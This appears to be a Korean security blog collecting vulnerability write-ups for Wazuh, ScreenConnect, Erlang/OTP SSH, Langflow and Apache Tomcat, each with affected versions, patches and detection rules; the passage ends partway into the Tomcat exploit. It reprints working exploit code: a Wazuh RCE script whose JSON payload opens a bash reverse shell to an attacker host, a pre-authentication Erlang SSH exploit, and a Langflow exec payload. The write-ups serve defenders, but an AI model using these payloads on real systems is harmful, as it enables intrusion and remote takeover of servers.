1. Wazuh

- XDR과 SIEM 기능을 통합한 무료 오픈 소스 보안 플랫폼 [1][2]
- Wazuh Server, Wazuh Agent, Elasticsearch, Kibana로 구성

2. 취약점

[사진 1] CVE-2025-24016 [3]

- Wazuh Server가 DistributedAPI 매개변수를 적절히 역직렬화하지 못해 발생하는 원격 코드 실행 취약점 (CVSS: 9.9)

> 해당 취약점을 노린 Mirai 기반 봇넷 공격이 확인되며, 전 세계적으로 DDoS 공격이 확산되고 있음

영향받는 버전
- Wazuh Server 4.4.0 이상 ~ 4.9.0 이하

 

- Wazuh Server는 JSON으로 직렬화된 DistributedAPI 매개변수as_wazuh_object()를 호출해 역직렬화 (Line 30) [4]

1 class APIRequestQueue(WazuhRequestQueue):
2     """
3     Represents a queue of API requests. This thread will be always in background, it will remain blocked until a
4     request is pushed into its request_queue. Then, it will answer the request and get blocked again.
5     """
6 
7     def __init__(self, server):
8         super().__init__(server)
9         self.logger = logging.getLogger('wazuh').getChild('dapi')
10         self.logger.addFilter(wazuh.core.cluster.utils.ClusterFilter(tag='Cluster', subtag='D API'))
11 
12     async def run(self):
13         while True:
14             names, request = (await self.request_queue.get()).split(' ', 1)
15             names = names.split('*', 1)
16             # name    -> node name the request must be sent to. None if called from a worker node.
17             # id      -> id of the request.
18             # request -> JSON containing request's necessary information
19             name_2 = '' if len(names) == 1 else names[1] + ' '
20 
21             # Get reference to MasterHandler or WorkerHandler
22             try:
23                 node = self.server.client if names[0] == 'master' else self.server.clients[names[0]]
24             except KeyError as e:
25                 self.logger.error(
26                     f"Error in DAPI request. The destination node is not connected or does not exist: {e}.")
27                 continue
28 
29             try:
30                 request = json.loads(request, object_hook=c_common.as_wazuh_object)
31                 self.logger.info("Receiving request: {} from {}".format(
32                     request['f'].__name__, names[0] if not name_2 else '{} ({})'.format(names[0], names[1])))
33                 result = await DistributedAPI(**request,
34                                               logger=self.logger,
35                                               node=node).distribute_function()
36                 task_id = await node.send_string(json.dumps(result, cls=c_common.WazuhJSONEncoder).encode())
37             except Exception as e:
38                 self.logger.error(f"Error in distributed API: {e}", exc_info=True)
39                 task_id = b'Error in distributed API: ' + str(e).encode()
40 
41             if task_id.startswith(b'Error'):
42                 self.logger.error(task_id.decode(), exc_info=False)
43                 result = await node.send_request(b'dapi_err', name_2.encode() + task_id)
44             else:
45                 result = await node.send_request(b'dapi_res', name_2.encode() + task_id)
46             if not isinstance(result, WazuhException):
47                 if result.startswith(b'Error'):
48                     self.logger.error(result.decode(), exc_info=False)
49             else:
50                 self.logger.error(result.message, exc_info=False)

 

- as_wazuh_object()는 JSON 내부에 "__unhandled_exc__" 값이 있을 경우 "__class__" 및 "__args__" 값을 사용해 eval()로 호출 (Line28 ~ 30) [5]

> 그러나 사용자 입력에 대한 적절한 검증 없이 eval()를 호출하여 임의 코드 실행이 가능

1 def as_wazuh_object(dct: Dict):
2     try:
3         if '__callable__' in dct:
4             encoded_callable = dct['__callable__']
5             funcname = encoded_callable['__name__']
6             if '__wazuh__' in encoded_callable:
7                 # Encoded Wazuh instance method.
8                 wazuh = Wazuh()
9                 return getattr(wazuh, funcname)
10             else:
11                 # Encoded function or static method.
12                 qualname = encoded_callable['__qualname__'].split('.')
13                 classname = qualname[0] if len(qualname) > 1 else None
14                 module_path = encoded_callable['__module__']
15                 module = import_module(module_path)
16                 if classname is None:
17                     return getattr(module, funcname)
18                 else:
19                     return getattr(getattr(module, classname), funcname)
20         elif '__wazuh_exception__' in dct:
21             wazuh_exception = dct['__wazuh_exception__']
22             return getattr(exception, wazuh_exception['__class__']).from_dict(wazuh_exception['__object__'])
23         elif '__wazuh_result__' in dct:
24             wazuh_result = dct['__wazuh_result__']
25             return getattr(wresults, wazuh_result['__class__']).decode_json(wazuh_result['__object__'])
26         elif '__wazuh_datetime__' in dct:
27             return datetime.datetime.fromisoformat(dct['__wazuh_datetime__'])
28         elif '__unhandled_exc__' in dct:
29             exc_data = dct['__unhandled_exc__']
30             return eval(exc_data['__class__'])(*exc_data['__args__'])
31         return dct

3. PoC

- ~/security/user/authenticate/run_as URL 및 악성 JSON 페이로드를 포함 [6]

import argparse
import logging
import requests
from requests.auth import HTTPBasicAuth
import pyfiglet
import os
import time
import ipaddress
from packaging import version
import sys
import urllib3

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

def color_print(text, color=None):
    if color == 'error':
        return f"\033[1;31m{text}\033[0m"
    elif color == 'warning':
        return f"\033[1;33m{text}\033[0m"
    elif color == 'success':
        return f"\033[1;32m{text}\033[0m"
    elif color == 'info':
        return f"\033[1;36m{text}\033[0m"
    else:
        return text

def version_check():
    try:
        req_version = version.parse(requests.__version__)
        pyfiglet_version = version.parse(pyfiglet.__version__)
        logger.info(
            "Wazuh Current version:\n"
            f"Requests: {req_version}\n"
            f"PyFiglet: {pyfiglet_version}\n"
        )
    except Exception as e:
        logger.error("Pengecekan versi gagal karena %s", str(e))

def parse_args():
    parser = argparse.ArgumentParser(
        description="Wazuh RCE Exploit POC",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )

    # Required
    required = parser.add_argument_group("Required")
    required.add_argument(
        "-u", "--url", required=True,
        help="URL target (ex: https://<worker-server>:55000/security/user/authenticate/run_as)"
    )
    required.add_argument(
        "-i", "--ip", required=True,
        help="LHOST for reverse shell connection"
    )
    required.add_argument(
        "-p", "--port", required=True, type=int,
        help="LPORT for reverse shell connection"
    )

    # Auth
    auth = parser.add_argument_group("Opsi Auth")
    auth.add_argument(
        "-user", "--username", default="wazuh-wui",
        help="Username for auth"
    )
    auth.add_argument(
        "-pass", "--password", default="MyS3cr37P450r.*-",
        help="Password for auth"
    )

    # Opsi tambahan
    optional = parser.add_argument_group("Opsi Tambahan")
    optional.add_argument(
        "-c", "--config-file", type=str,
        help="Path to configuration file"
    )
    optional.add_argument(
        "-n", "--no-color", action="store_true",
        help="Nonaktifkan output warna"
    )
    optional.add_argument(
        "--version", action="version",
        version="1.0",
        help="Show program version"
    )

    return parser.parse_args()
def check_ip(ip):
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        logger.error("IP tidak valid: %s", ip)
        return False

def check_port(port):
    try:
        port_int = int(port)
        if 0 < port_int <= 65535:
            return True
        logger.error("Invalid Port: %s", port)
        return False
    except ValueError:
        logger.error("Port tidak merupakan angka: %s", port)
        return False

def check_url(url):
    if not url.startswith("http"):
        logger.error("Invalid URL, make sure the URL starts with http:// atau https://")
        return False
    return True

def main():
    args = parse_args()
    
    def local_color_print(text, color=None):
        if args.no_color:
            return text
        return color_print(text, color)
    
    if not check_ip(args.ip) or not check_port(args.port) or not check_url(args.url):
        logger.error("Invalid IP/Port/URL")
        sys.exit(1)
    
    version_check()
    
    ascii_motd = pyfiglet.figlet_format("Wazuh RCE")
    custom_header = (
        "\n" + 
        "---------------------------------------------------\n"
        "           Custom Wazuh RCE Header\n"
        "---------------------------------------------------\n"
    )
    
    print(ascii_motd)
    if args.config_file:
        print(custom_header)
    else:
        print("Wazuh Server RCE - CVE-2025-24016")
        print("Research & Testing Purposes Only!")
        print("Unauthorized use is strictly prohibited.")
        print("By: Jessie at Pelindo Cyber Security Team")
        print("Credits: Aiman, Cahyo, Ihsan & the Arch \n")
    
    # Payload
    payload = {
        "__unhandled_exc__": {
            "__class__": "os.system",
            "__args__": [
                f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1"
            ]
        }
    }
    
    headers = {
        "Content-Type": "application/json",
        "X-Header-Name": "Custom-Header"
    }
    
    # Auth 
    username = args.username
    password = args.password
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    try:
        response = requests.post(
            args.url,
            json=payload,
            headers=headers,
            auth=HTTPBasicAuth(username, password),
            verify=False,
            timeout=10
        )
        
        if response.status_code != 200:
            logger.error("Kode status respons: %d", response.status_code)
            if "Unauthorized" in str(response.text):
                logger.error("Failed Authentication")
            else:
                logger.error("Respons abnormal: %s", response.text)
            sys.exit(1)
            
        print(color_print("Sucess Authentication!", "success"))
        print("Respons:", color_print(response.text, "info"))
        
    except requests.exceptions.RequestException as e:
        error_type = type(e).__name__
        logger.error("%s: %s", error_type, str(e))
        sys.exit(1)
    
    # Opsi shell
    reverse_shell_options = {
        "command": "bash -i",
        "reverse_port": args.port,
        "timeout": 5,
        "retry_count": 3
    }
    
    logger.info("Established connection reverse shell to %s:%d", args.ip, int(args.port))
    time.sleep(reverse_shell_options["timeout"])
    
    try:
        s = os.system(reverse_shell_options["command"])
        if s != 0:
            logger.error("Reverse shell failed: %s", str(s))
    finally:
        if 's' in locals():
            del s
    
    print(color_print("Reverse shell success!", "success"))

if __name__ == "__main__":
    main()

4. 대응방안

- 벤더사 제공 업데이트 적용 [7][8][9]

> eval()를 ast.literal_eval()로 변경 (제한된 타입-strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None and Ellipsis-만 처리) [10][11]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-24016 Wazuh Server 4.4.0 이상 ~ 4.9.0 이하 4.9.1 이상

 

- 탐지룰 적용 [12]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Wazuh Server Serialized Unhandled Exception Payload (CVE-2025-24016)"; flow:established,to_server; content:"POST"; http_method; content:"/"; http_uri; depth:1; pcre:"/^(?:security|agents|events|groups)\x2f/Ri"; content:"Content-Type|3a 20|application/json"; http_header; content:"|22|__unhandled_exc__|22 3a|"; http_client_body; fast_pattern; content:"|22|__class__|22 3a|"; http_client_body; content:"|22|__args__|22 3a|"; http_client_body; reference:url,github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh; reference:cve,2025-24016; classtype:web-application-attack; sid:2060945; rev:1; metadata:attack_target Server, tls_state TLSDecrypt, created_at 2025_03_18, cve CVE_2025_24016, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_18, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

5. 참고

[1] https://wazuh.com/
[2] https://documentation.wazuh.com/current/getting-started/index.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-24016
[4] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/dapi/dapi.py#L660
[5] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/common.py#L1561
[6] https://github.com/0xjessie21/CVE-2025-24016
[7] https://documentation.wazuh.com/current/release-notes/release-4-9-1.html
[8] https://documentation.wazuh.com/current/upgrade-guide/upgrading-central-components.html
[9] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71769&menuNo=205020
[10] https://github.com/wazuh/wazuh/blob/3aadee6d1f3115961036c68b11ca056665e23bc0/framework/wazuh/core/cluster/common.py#L1799
[11] https://docs.python.org/3/library/ast.html#ast.literal_eval
[12] https://asec.ahnlab.com/ko/87024/
[13] https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh
[14] https://www.dailysecu.com/news/articleView.html?idxno=166820
[15] https://hackyboiz.github.io/2025/02/22/empty/CVE-2025-24016/

1. ConnectWise ScreenConnect

- 원격 지원 및 액세스 소프트웨어 [1]

2. CVE-2025-3935

[사진 1] CVE-2025-3935 [2]

- 공격자가 시스템 수준 권한을 가진 상태에서 서버의 Machine Key를 탈취해 원격 코드 실행을 가능하게 하는 역직렬화 취약점

> ConnectWise는 ScreenConnect의 클라우드 버전에서 국가 배후 해커가 취약점을 악용해 공격 받은 사실을 공개 [4]

 

- 해당 취약점은 ASP.NET의 ViewState 처리 과정에서 역직렬화(Deserialization)가 안전하지 않게 구현된 데서 비롯됨

- ViewState
> ASP.NET Web Forms에서 페이지의 상태(state)를 클라이언트에 저장하기 위한 메커니즘
> ASP.NET Web Forms에서 페이지 상태 유지를 위해 사용되는 직렬화된 데이터
> 사용자가 어떤 값을 입력하거나, 페이지에서 변경한 상태를 Postback 시에도 유지하기 위해 사용
> Base64로 인코딩되어 <input type="hidden"> 필드에 포함되어 전송

 

> web.config 파일에 ViewState의 무결성과 보안을 위해 다음 두 가지 키가 저장 [5]

Machine Key 설명
Validation Key ViewState 데이터의 변조 여부를 확인하는 데 사용되는 키 값
Decryption Key ViewState 데이터를 암/복호화하는데 사용되는 키 값

 

[사진 2] Machine Key

- 공격자가 조작된 요청으로 탈취한 Machine Key 또는 공개된(≒노출된) Machine Key를 사용해 악성 ViewState를 생성 및 전송 [6]

> 이로 인해 서버에서 원격 코드 실행이 발생할 수 있음

※ MS는 노출된 Machine Key를 악용한 공격체인과 관련된 게시글 공개 [7]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7]

> ViewState 기능 비활성 및 해당 기능에 대한 의존성 제거

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-3935 ScreenConnect ~ 25.2.3 25.2.4

 

- Machine Key 노출 여부 확인

> MS는 공개된 Machine Key의 해시 목록을 GitHub에 게시 [9]

> 노출된 키를 사용하는 경우 새로운 키로 교체 및 안전한 키 생성 주기 관리 필요

 

- 공개된 도구를 통한 테스트 진행 [10][11][12]

4. 참고

[1] https://www.screenconnect.com
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-3935
[3] https://www.connectwise.com/company/trust/advisories
[4] https://www.connectwise.com/company/trust/advisories
[5] https://attackerkb.com/topics/o59vR5d8MG/cve-2025-3935
[6] https://www.cybersecuritydive.com/news/microsoft-warns-3k-exposed-aspnet-machine-keys-at-risk-of-weaponization/739551/?utm_source=chatgpt.com
[7] https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys
[8] https://www.connectwise.com/company/trust/security-bulletins/screenconnect-security-patch-2025.4
[9] https://github.com/microsoft/mstic/blob/master/RapidReleaseTI/MachineKeyScan.ps1
[10] https://github.com/isclayton/viewstalker
[11] https://github.com/pwntester/ysoserial.net
[12] https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
[13] https://thehackernews.com/2025/05/connectwise-hit-by-cyberattack-nation.html
[14] https://www.dailysecu.com/news/articleView.html?idxno=166598

1. Erlang/OTP SSH

- Erlang: 고가용성을 요구하는 대규모 확장 가능한 소프트 실시간 시스템을 구축하는 데 사용되는 프로그래밍 언어

- OTP(Open Telecom Platform): 이러한 시스템을 개발하는 데 필요한 미들웨어를 제공하는 Erlang 라이브러리와 설계 원칙의 집합 [1]

- Erlang/OTP SSH: Erlang 시스템에서 SSH(Secure Shell) 기능을 구현한 라이브러리 [2]

2. CVE-2025-32433

[사진 1] CVE-2025-32433 [3]

- Erlang/OTP SSH 라이브러리를 기반으로 하는 SSH 서버의 SSH 프로토콜 메시지 처리의 결함으로 인한 원격 코드 실행 취약점 (CVSS: 10.0)

> 악용에 성공할 경우 공격자는 인증 과정 없이 임의의 명령을 실행할 수 있음

> SSH 데몬이 루트로 실행 중인 경우 전체 액세스 권한을 가지게 됨

영향받는 버전
Erlang/OTP
- OTP-27.3.2 이하 버전
- OTP-26.2.5.10 이하 버전
- OTP-25.3.2.19 이하 버전

 

- RFC 4252: The Secure Shell (SSH) Authentication Protocol [4]

> 인증 프로토콜에서 사용되는 모든 SSH Message Numbers는 50 ~ 79 사이

> SSH Message Numbers80 이상인 경우 인증 프로토콜 이후 실행되는 프로토콜, 즉 인증 완료 후 과정을 위해 예약되어 있음

> 따라서, 인증이 완료되기 전 SSH Message Numbers가 80 이상인 경우 서버는 즉시 연결을 해제하여야 함

[사진 2] RFC 4252 : 6. uthentication Protocol Message Numbers

- 그러나 취약한 버전의 Erlang/OTP에서는 SSH 서버가 이 규칙을 적용하지 않음

> 공격자들이 인증되지 않은 단계에서 조작된 메시지를 주입할 수 있게 되어 무단으로 코드가 실행가능 [5]

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [6][7][8]

> 인증 여부를 handle_msg() 함수를 통해 검증하며, 실패 시 연결 거부

제품명 영향받는 버전 해결 버전
Erlang/OTP <= OTP-27.3.2 OTP-27.3.3
<= OTP-26.2.5.10 OTP-26.2.5.11
<= OTP-25.3.2.19 OTP-25.3.2.20

 

- 업데이트가 불가한 경우

> SSH 포트에 대한 액세스를 신뢰할 수 있는 IP만 허용 및 신뢰할 수 없는 IP의 접근 차단

> Erlang/OTP 기반 SSH가 불필요한 경우 서비스 비활성화

4. 참고

[1] https://www.erlang.org/
[2] https://www.erlang.org/doc/apps/ssh/ssh.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-32433
[4] https://www.rfc-editor.org/rfc/rfc4252.html#section-6
[5] https://www.upwind.io/feed/cve-2025-32433-critical-erlang-otp-ssh-vulnerability-cvss-10#toc-section-2
[6] https://www.openwall.com/lists/oss-security/2025/04/16/2
[7] https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
[8] https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
[9] https://thehackernews.com/2025/04/critical-erlangotp-ssh-vulnerability.html
[10] https://news.ycombinator.com/item?id=43716526

=========================================================================

[내용 추가]

- SSH 연결 시 SSH_MSG-CHANNEL_OPENSSH_MSG_CHANNEL_REQUEST 메시지는 인증 이후에만 전송되어야 함 [11]

> SSH 프로토콜 명세(RFC 4254)에 다르면 해당 메시지가 인증이 이루어지기 전에 전송되는 경우 연결을 종료

> 취약한 버전의 Erlang/OTP SSH는 해당 규칙을 적용하지 않아 공격자가 인증 없이 세션을 맺고 exec 명령을 실행할 수 있음

구분 설명
SSH_MSG-CHANNEL_OPEN - Message Number : 90
- 사용자가 인증을 완료한 후 새로운 채널(세션)을 생성하기 위해 사용
SSH_MSG_CHANNEL_REQUEST - Message Number : 98
- 생성된 채널(세션)을 통해 명령 실행(exec) 등을 요청할 때 사용

 

- PoC [12]

① 클라이언트(공격자)와 서버는 SSH 세션을 시작하기 위해 버전 정보를 교환하여 프로토콜 호환성 확인

② 클라이언트(공격자)는 SSH_MSG_KEXINIT 패킷을 전송해 키 교환, 암호화 알고리즘, 압축 옵션 등을 결정

③ 초기 키 교환 후 클라이언트(공격자)는 SSH_MSG_CHANNEL_OPEN 메시지를 통해 세션 채널 생성 요청

④ 클라이언트(공격자)는 SSH_MSG_CHANNEL_REQUEST 메시지를 전송해 생성된 채널을 통해 명령을 실행하도록 요청

import socket
import struct
import time

HOST = "127.0.0.1"  # Target IP (change if needed)
PORT = 2222  # Target port (change if needed)


# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes


# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
    return (
        b"\x5a"  # SSH_MSG_CHANNEL_OPEN
        + string_payload("session")
        + struct.pack(">I", channel_id)  # sender channel ID
        + struct.pack(">I", 0x68000)  # initial window size
        + struct.pack(">I", 0x10000)  # max packet size
    )


# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
    if command is None:
        command = 'file:write_file("/lab.txt", <<"pwned">>).'
    return (
        b"\x62"  # SSH_MSG_CHANNEL_REQUEST
        + struct.pack(">I", channel_id)
        + string_payload("exec")
        + b"\x01"  # want_reply = true
        + string_payload(command)
    )


# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
    cookie = b"\x00" * 16

    def name_list(l):
        return string_payload(",".join(l))

    # Match server-supported algorithms from the log
    return (
        b"\x14"
        + cookie
        + name_list(
            [
                "curve25519-sha256",
                "ecdh-sha2-nistp256",
                "diffie-hellman-group-exchange-sha256",
                "diffie-hellman-group14-sha256",
            ]
        )  # kex algorithms
        + name_list(["rsa-sha2-256", "rsa-sha2-512"])  # host key algorithms
        + name_list(["aes128-ctr"]) * 2  # encryption client->server, server->client
        + name_list(["hmac-sha1"]) * 2  # MAC algorithms
        + name_list(["none"]) * 2  # compression
        + name_list([]) * 2  # languages
        + b"\x00"
        + struct.pack(">I", 0)  # first_kex_packet_follows, reserved
    )


# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
    min_padding = 4
    padding_len = block_size - ((len(payload) + 5) % block_size)
    if padding_len < min_padding:
        padding_len += block_size
    return (
        struct.pack(">I", len(payload) + 1 + padding_len)
        + bytes([padding_len])
        + payload
        + bytes([0] * padding_len)
    )


# === Exploit flow ===
try:
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        print("[*] Connecting to SSH server...")

        # 1. Banner exchange
        s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
        banner = s.recv(1024)
        print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
        time.sleep(0.5)  # Small delay between packets

        # 2. Send SSH_MSG_KEXINIT
        print("[*] Sending SSH_MSG_KEXINIT...")
        kex_packet = build_kexinit()
        s.sendall(pad_packet(kex_packet))
        time.sleep(0.5)  # Small delay between packets

        # 3. Send SSH_MSG_CHANNEL_OPEN
        print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
        chan_open = build_channel_open()
        s.sendall(pad_packet(chan_open))
        time.sleep(0.5)  # Small delay between packets

        # 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
        print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
        chan_req = build_channel_request(
            command='file:write_file("/lab.txt", <<"pwned">>).'
        )
        s.sendall(pad_packet(chan_req))

        print(
            "[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt."
        )

        # Try to receive any response (might get a protocol error or disconnect)
        try:
            response = s.recv(1024)
            print(f"[+] Received response: {response.hex()}")
        except socket.timeout:
            print("[*] No response within timeout period (which is expected)")

except Exception as e:
    print(f"[!] Error: {e}")

[사진 3] 공격 패킷 예시

참고

[11] https://www.keysight.com/blogs/en/tech/nwvs/2025/05/23/cve-2025-32433-erlang-otp-ssh-server-rce
[12] https://github.com/ProDefense/CVE-2025-32433

1. Langflow

- 대규모 언어 모델(LLM)과 다양한 데이터 소스를 활용하여 AI 애플리케이션을 시각적으로 설계하고 구축할 수 있는 low-code 플랫폼 [1][2]

- Python 기반으로 개발되었으며, 특정 모델, API, 데이터베이스에 구애받지 않고 유연하게 사용 가능

2. CVE-2025-3248

[사진 1] CVE-2025-3248 [3]

- /api/v1/validate/code에서 발생하는 임의 코드 실행 취약점 (CVSS : 9.8)

영향받는 버전
Langflow 1.3.0 미만 버전

 

- /api/v1/validate/code : LLM이 생성한 코드의 유효성을 검증하는 API

> 해당 API를 누구나 호출 가능

> validate_code()를 내부적으로 호출 [4]

async def post_validate_code(code: Code) -> CodeValidationResponse:
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            imports=errors.get("imports", {}),
            function=errors.get("function", {}),
        )
    except Exception as e:
        logger.opt(exception=True).debug("Error validating code")
        raise HTTPException(status_code=500, detail=str(e)) from e

 

- validate_code()는 파이썬 코드의 문법을 검증하고 exec()를 통해 해당 코드를 실행 [5][6]

> 파이썬 코드에 import문과 함수 선언문이 있는지 확인

> import문이 있는 경우 해당 모듈을 로드하고, 함수가 있는 경우 exec()를 통해 해당 코드 실행 [7][8]

def validate_code(code):
    # Initialize the errors dictionary
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        if hasattr(logger, "opt"):
            logger.opt(exception=True).debug("Error parsing code")
        else:
            logger.debug("Error parsing code")
        errors["function"]["errors"].append(str(e))
        return errors

    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
            try:
                exec(code_obj)
            except Exception as e:  # noqa: BLE001
                logger.opt(exception=True).debug("Error executing function code")
                errors["function"]["errors"].append(str(e))

    # Return the errors dictionary
    return errors

 

2.1 PoC

- 공개된 Scanner에서는 /api/v1/validate/code URLimport문과 def문이 포함된 파이썬 코드를 POST 메소드로 전송 [9]

...
def check_vulnerability(self):
        """Check if target is vulnerable to Langflow vulnerability"""
        try:
            validate_url = urljoin(self.url, '/api/v1/validate/code')
            # 使用exec函数执行代码
            payload = {
                "code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')):
    pass
"""
            }
            
            print(f"{Fore.YELLOW}[*] Testing endpoint: {validate_url}")
            response = self.session.post(
                validate_url, 
                json=payload, 
                timeout=self.timeout
            )
            
            print(f"{Fore.YELLOW}[*] Response status: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Response headers: {dict(response.headers)}")
            print(f"{Fore.YELLOW}[*] Response body: {response.text}")
...

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 현재 사용자만 API를 이용 가능하도록 패치 적용

제품명 영향받는 버전 해결 버전
Langflow 1.3.0 미만 1.3.0

 

- 탐지 룰 적용

alert tcp any any -> any any (msg:"CVE-2025-3248"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/validate/code"; http_uri; content:"def"; http_client_body; content:"import"; http_client_body;)

4. 참고

[1] https://www.langflow.org/
[2] https://wikidocs.net/267515
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-3248
[4] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/api/v1/validate.py#L16
[5] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L24
[6] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L57
[7] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L44
[8] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L53
[9] https://github.com/xuemian168/CVE-2025-3248
[10] https://github.com/langflow-ai/langflow/pull/6911/commits/dbae45f5717b9bf0f3096fce7399851aba27e658
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71717&menuNo=205020
[12] https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/?utm_source=chatgpt.com

1. CVE-2025-24813

[사진 1] CVE-2025-24813 [1]

- Apache Tomcat에서 발생하는 원격 코드 실행 취약점 (CVSS : 9.8)

> Partial PUT 기능과 기본 서블릿에 대한 쓰기 권한이 결합되어 발생

> 공격자는 취약점을 악용해 원격 코드 실행, 정보 유출 및 손상 등의 악성 행위를 수행할 수 있음

 

- 영향받는 버전

> Apache Tomcat 9.0.0.M1 ~ 9.0.98
> Apache Tomcat 10.1.0-M1 ~ 10.1.34
> Apache Tomcat 11.0.0-M1 ~ 11.0.2

 

- 취약점을 악용하기 위한 4가지의 전제 조건

> 다음 4가지 조건 모두를 만족해야 취약점이 발생

쓰기 가능한 Default Servlet

> Default 비활성화

부분 PUT (Partial PUT) 지원

> Default 활성화

파일 기반 세션 지속성

> 기본 위치에서 파일 기반 세션 지속성 사용

취약한 역직렬화 라이브러리 사용

> 역직렬화에 취약한 라이브러리 포함 

2. PoC

- docker를 활용해 취약한 tomcat 환경 구축 [2][3]

> tomcat 설정 변경

구분 설명
conf/web.xml - Default Servlet에 readonly 파라미터 추가 : 쓰기 가능하도록 설정
conf/context.xml - 파일 기반 세션 지속성 활성화

※ 참고 : 일부 분석 보고서에서는 다음과 같이 변경한 것으로 확인 [4]

※ docker 실행 중 버전 오류가 발생해 docker-compose.yml 내용 변경 (version 3.8 -> 3,3)

[사진 2] 정상 접근 확인

- 공개된 PoC를 활용해 공격 [5]

① 대상 서버로 PUT 요청을 보내 서버가 쓰기 가능한지 확인

> check_writable_servlet()를 사용하며 200 또는 201 응답을 반환할 경우 쓰기 가능한 것으로 판단

※ 200 : 서버가 요청을 정상적으로 처리하였음을 나타냄

※ 201 : 서버가 요청을 정상적으로 처리하였고, 자원이 생성되었음을 나타냄

② 쓰기 가능한 경우 역직렬화 페이로드 생성

③ 대상 서버에 Partial PUT 요청을 전송

> upload_and_verify_payload()를 사용하며, 409 응답일 경우 대상 URL로 GET 요청을 보내며 500 응답을 받은 경우 성공한 것으로 판단

※ 409 : 서버의 현재 상태와 요청이 충돌했음을 나타냄

※ 500 : 서버가 사용자의 요청을 처리하는 과정에서 예상하지 못한 오류로 요청을 완료하지 못함을 나타냄

업로드 파일 삭제

> remove_file()

import argparse
import os
import re
import requests
import subprocess
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗     ██████╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗████████╗    ██████╗  ██████╗███████╗
██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗████╗ ████║██╔════╝ ██╔══██╗╚══██╔══╝    ██╔══██╗██╔════╝██╔════╝
